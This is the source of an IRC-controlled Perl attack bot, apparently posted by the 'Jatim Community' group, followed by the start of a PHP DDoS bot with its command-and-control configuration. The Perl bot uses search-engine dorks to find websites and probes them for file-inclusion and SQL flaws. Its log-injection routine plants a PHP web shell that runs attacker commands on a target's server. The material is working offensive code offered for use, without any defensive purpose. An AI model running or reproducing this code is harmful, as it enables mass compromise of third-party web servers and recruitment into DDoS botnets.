##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### LyCos Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
###############################[ LFI ]###############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### LyCos Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
##############################[ sql ]##############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Lycos Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
##############################[ asp ]##############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Lycos Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
##################################################################### Apache Log Injection
if ($msg=~ /PRIVMSG $channel :$alicmd\s+(.*?)\s+(.+[0-9])/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
&injectlog($1,$2);
}
exit;
}
}

for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}

##################################################################### Procedure

sub injectlog() {
my $host = $_[0];
my $port = $_[1];
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 12 Injecting 7 ".$host.":".$port." 12Apache Access Log ... ");
my $php = "<?php if(get_magic_quotes_gpc()){ \$_GET[c0li]=stripslashes(\$_GET[c0li]);} system(\$_GET[c0li]);?>";
$sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => 80, Proto => "tcp") ||
die sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 4 Cant Connect to 7 ".$host.":".$port." ");
print $sock "GET /vOpCrEw.UnderGrounD ".$php." HTTP/1.1\r\n";
print $sock "Host: ".$host."\r\n";
print $sock "Connection: close\r\n\r\n";
close($sock);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host." 12is Done ... ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host." 12RCE Parameter -> 3 c0li ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host." 12RCE Identifier -> 3 JATIMCOM ");
}
#################################################

sub rfiscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
if ($engz =~ /GoodSearch/) {
my @goodsearch=&goodsearch($dork);
push(@total, @goodsearch);
}
if ($engz =~ /YahOo/) {
my @yahoo=&yahoo($dork);
push(@total, @yahoo);
}
my @clean=&calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14RFI 10)( 3@ 14$engz 10) 10 Total: 14 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10 Exploiting 14 $dork ");
}
my $uni=scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$injector."?";
my $vuln = "http://".$target." 12".$bugz." 7".$phpshell."? ";
my $re = getcontent($xpl);
if($re =~ /$rfi_result/ && $re =~ /uid=/){
os($xpl);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln." 10( 3@ 14".$os." 10)( 3@ 4SAFEMODE-OFF 10) ");
}
elsif($re =~ /$rfi_result/)
{
os($xpl);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln." 10( 3@ 14".$os." 10)( 3@ 4SAFEMODE-ON 10) ");
}
}
}
#################################################

sub lfiscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
if ($engz =~ /GoodSearch/) {
my @goodsearch=&goodsearch($dork);
push(@total, @goodsearch);
}
if ($engz =~ /YahOo/) {
my @yahoo=&yahoo($dork);
push(@total, @yahoo);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 14 Total: 4 (".scalar(@total).") 12 Clean: 4 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 14 Exploiting 4 $dork ");
}
my $uni=scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 10 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$lfi_test;
my $vuln = "http://".$target." 12".$bugz." 7".$lfi_test." ";
my $re = getcontent($xpl);
if ($re =~ /$lfi_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln." 15( 7@ 3JATIMCOM 15) ");
}
}
}
#################################################

sub sqlscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
if ($engz =~ /GoodSearch/) {
my @goodsearch=&goodsearch($dork);
push(@total, @goodsearch);
}
if ($engz =~ /YahOo/) {
my @yahoo=&yahoo($dork);
push(@total, @yahoo);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Total: 10 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Exploiting 14 $dork ");
}
my $uni = scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$sql_test;
my $vuln = "http://".$target." 10".$bugz." 14[SQL] ";
my $re = getcontent($xpl);
if ($re =~ /$sql_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14SQL 10)( 3@ 14$engz 10) 10( 14@ 10ErrorQuery 10) 14 ".$vuln." 10( 3@ 14Jatimcon 10) ");
}
}
}
#################################################

sub aspscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Total: 10 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Exploiting 10 $dork ");
}
my $uni = scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$sql_test;
my $vuln = "http://".$target." 19".$bugz." 14[ASP] ";
my $re = getcontent($xpl);
if ($re =~ /$asp_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14ASP 10)( 3@ 14$engz 10) 10( 14@ 10ErrorQuery 10) 14 ".$vuln." 10( 3@ 14Jatimcon 10) ");
}
}
}
#################################################

sub os() {
my $site = $_[0];
my $re = &query($site);
while ($re =~ m/<br>os:(.+?)<br>/g) {
$os = $1;
if ($1 =~ //) { $os = "Unkn0wN"; }
}
}
#################################################

sub response() {
my $re = getcontent($injector);
if ($re =~ /pZLNd8MwEITvg/) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10) 10 Â« 3MANTAP JAYA 10 Â» ");
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10) 10 Â« 3BOSOK 10 Â» ");
}
}
#################################################

sub getcontent() {
$url = $_[0];
my $req = HTTP::Request->new(GET => $url);
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
return $response->content;
}
#################################################

sub google(){
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=0; $b<=1000; $b+=100){
my $Go=("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}
#################################################

sub alltheweb() {
my @lst;
my $key = $_[0];
my $b = 0;
my $pg = 0;
for ($b=0; $b<=1000; $b+=100) {
my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$b);
my $Res = query($all);
while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
my $k = $1;
$k =~ s/ //g;
my @grep = links($k);
push( @lst, @grep );
}
}
return @lst;
}
#################################################

sub uol() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10) {
my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$b);
my $Res = query($UoL);
while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
my $k = $1;
if ( $k !~ /busca|uol|yahoo/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
#################################################

sub Bing() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10) {
my $bing = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$b."&FORM=PERE");
my $Res = query($bing);
while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
if ( $1 !~ /msn|live|bing/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
#################################################

sub altavista(){
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10){
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while ($Res=~m/<span class=ngrn>(.+?)\//g){
if ($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}
#################################################

sub ask() {
my @lst;
my $key = $_[0];
my $b = 0;
my $pg = 0;
for ($b=0; $b<=1000; $b+=10) {
my $Ask = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$b);
my $Res = query($Ask);
while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
if ($1 !~ /ask.com/){
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
#################################################

sub lycos() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=0; $b<=1000; $b+=10) {
my $lyc = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=".$b."&query=".key($key)."&cat=web&enc=utf-8");
my $Res = query($lyc);
while ($Res =~ m/href=\"http:\/\/(.+?)\" >/g) {
if ($1 !~ /lycos/){
my $k = $1;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}
#################################################

sub goodsearch() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=500; $b+=1) {
my $goods = ("http://www.goodsearch.com/search.aspx?keywords=".key($key)."&page=".$b."&osmax=0");
my $Res = query($goods);
while ($Res =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g) {
if ($2 !~ /goodsearch/){
my $k = $2;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}
#################################################

sub yahoo() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=500; $b+=1) {
my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b);
my $Res = query($yahoo);
while ($Res =~ m/26u=(.*?)%26w=/g) {
if ($1 !~ /yahoo/){
my $k = $1;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}
#################################################

sub links() {
my @l;
my $link = $_[0];
my $host = $_[0];
my $hdir = $_[0];
$hdir =~ s/(.*)\/[^\/]*$/\1/;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host .= "/";
$link .= "/";
$hdir .= "/";
$host =~ s/\/\//\//g;
$hdir =~ s/\/\//\//g;
$link =~ s/\/\//\//g;
push( @l, $link, $host, $hdir );
return @l;
}
#################################################

sub key() {
my $dork = $_[0];
$dork =~ s/ /\+/g;
$dork =~ s/:/\%3A/g;
$dork =~ s/\//\%2F/g;
$dork =~ s/&/\%26/g;
$dork =~ s/\"/\%22/g;
$dork =~ s/,/\%2C/g;
$dork =~ s/\\/\%5C/g;
return $dork;
}
#################################################

sub query($) {
my $url = $_[0];
$url =~ s/http:\/\///;
my $host = $url;
my $query = $url;
my $page = "";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~ s/$host//;
if ( $query eq "" ) { $query = "/"; }
eval {
my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page = "@r";
close($sock);
};
return $page;
}
#################################################

sub calculate {
my @calculate = ();
my %visti = ();
foreach my $element (@_) {
$element =~ s/\/+/\//g;
next if $visti{$element}++;
push @calculate, $element;
}
return @calculate;
}
#################################################

sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
#################################################

sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
##################################################
##################################################
## ##
## JATIM COMMUNITY ##
## ##
##################################################
##################################################

Ddos Recod By Jatimcom

2010-02-20T09:31:00.000-08:00

<?
######################################################
## DDOS BOT PHP Recod By Jatimcom ##
## Dont Forget to Visit http://jatimcom.uni.cc/ ##
## Â© April 2009 Jatim Community ##
######################################################

set_time_limit(0);
error_reporting(0);
echo "ok!";
######################################################
class pBot
{
var $config = array("server"=>"irc.jatimcom.us",
"port"=>"7000",
"pass"=>"",
"prefix"=>"Ddos",
"maxrand"=>"5",
"chan"=>"#jcomers",
"chan2"=>"#jcomers",
"key"=>"senhadocanal",
"modes"=>"+p",
"password"=>"djhancok",
"trigger"=>".",
"hostauth"=>"*"
);
